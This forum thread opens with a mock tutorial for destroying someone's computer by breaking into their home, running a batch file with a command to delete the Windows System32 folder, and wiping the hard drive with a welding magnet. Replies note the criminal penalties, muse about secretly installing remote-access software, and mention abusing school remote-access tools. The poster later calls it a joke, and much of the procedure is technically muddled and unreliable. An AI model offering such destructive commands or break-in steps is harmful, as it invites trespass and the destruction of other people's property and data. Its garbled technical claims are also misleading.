How to totally destroy someone's computer.
Want to ruin someone's comp. Do you love trolling IRL? This is for you!
WARNING: Don't do this to your own computer.
How to:
Sneak into someone's house while they're away.
The target computer must be a PC running Windows Vista for this to work.
Open a new notepad file.
Type the following:
@echo off
del c:\Windows\System32
Save as a .bat file under all file types.
Double-click the file.
When you see a black window pop up, put in a Windows XP disk.
Reset PC.
Keep pressing F8 until it gives you an option to boot from disk. Say "yes".
Find the HDD and take the sides off of it.
Find the biggest magnet you can find (preferably the kind people use to hold metal together during welding).
Move it across the actual HDD in any direction, but ONLY that direction.
i.e.: > > > not ><><>
Do this waving step 20 times total (or more, if you like).
Ideally you should do it one pass for layer.
CONGRATULATIONS! You have now bricked your friend's/enemy's/neighbor's computer.
How did I do?

Re: How to totally destroy someone's computer.
Well, first, be aware that breaking into a house and destroying an expensive computer is likely to have some rather large consequences - we're talking criminal trespass and destruction of property I think. Maybe 5 to 10 years in jail or a reform school? Your results will vary depending on the state where you chose to commit your crime and how your judge is feeling during your sentencing.
Secondly, why take the time to destroy the operating system if you're going to destroy the HDD physically with the magnet? That seems redundant.
Third, if you're going to go to all the work to get at the HDD, why not just take it with you rather than destroy it? The computer will be just as dead and you will have a nice hard drive that you can use as partial restitution for your offenses when you are sentenced. Maybe you can get that Destruction of Property charge reduced or dismissed

Re: How to totally destroy someone's computer.
I would rather have fun and install some software (This has not been made (by me (yet ) ) ) which activates remote access control secretly. Then I'll do some things and make them think their computer has a mind of it's own.
My site Find someone post count. Click posts under username. Find number of pages. Times that by 40 for min and 60 for max and you have a rough estimate of post count.

Re: How to totally destroy someone's computer.
Or, you can just get a huge magnet, tie it to a very powerful (most likely modified) RC airplane. Mod it to use GPS to fly itself somewhere. Get the person's address, tie the magnet on, and find their laptop! After that, wipe it.
It's simple. I have an airplane that can do that, so...
I've never done that, though.

I'm pretty sure most school computers already have a program that let's other computers acess the other. Lucky me I know about it and nobody else in my school does. Now...

Re: How to totally destroy someone's computer.
Just to confirm, I was never serious.
Sometimes topics just randomly 404 on me, so that's why I couldn't see what was happening.

IF you want to just mess with someone more legally, just remove their ram and leave it in the box, lol.

Since Trojans are hard to detect, I bet you could easily say you had no idea there was a Trojan.
Lurking more than posting, but still here.
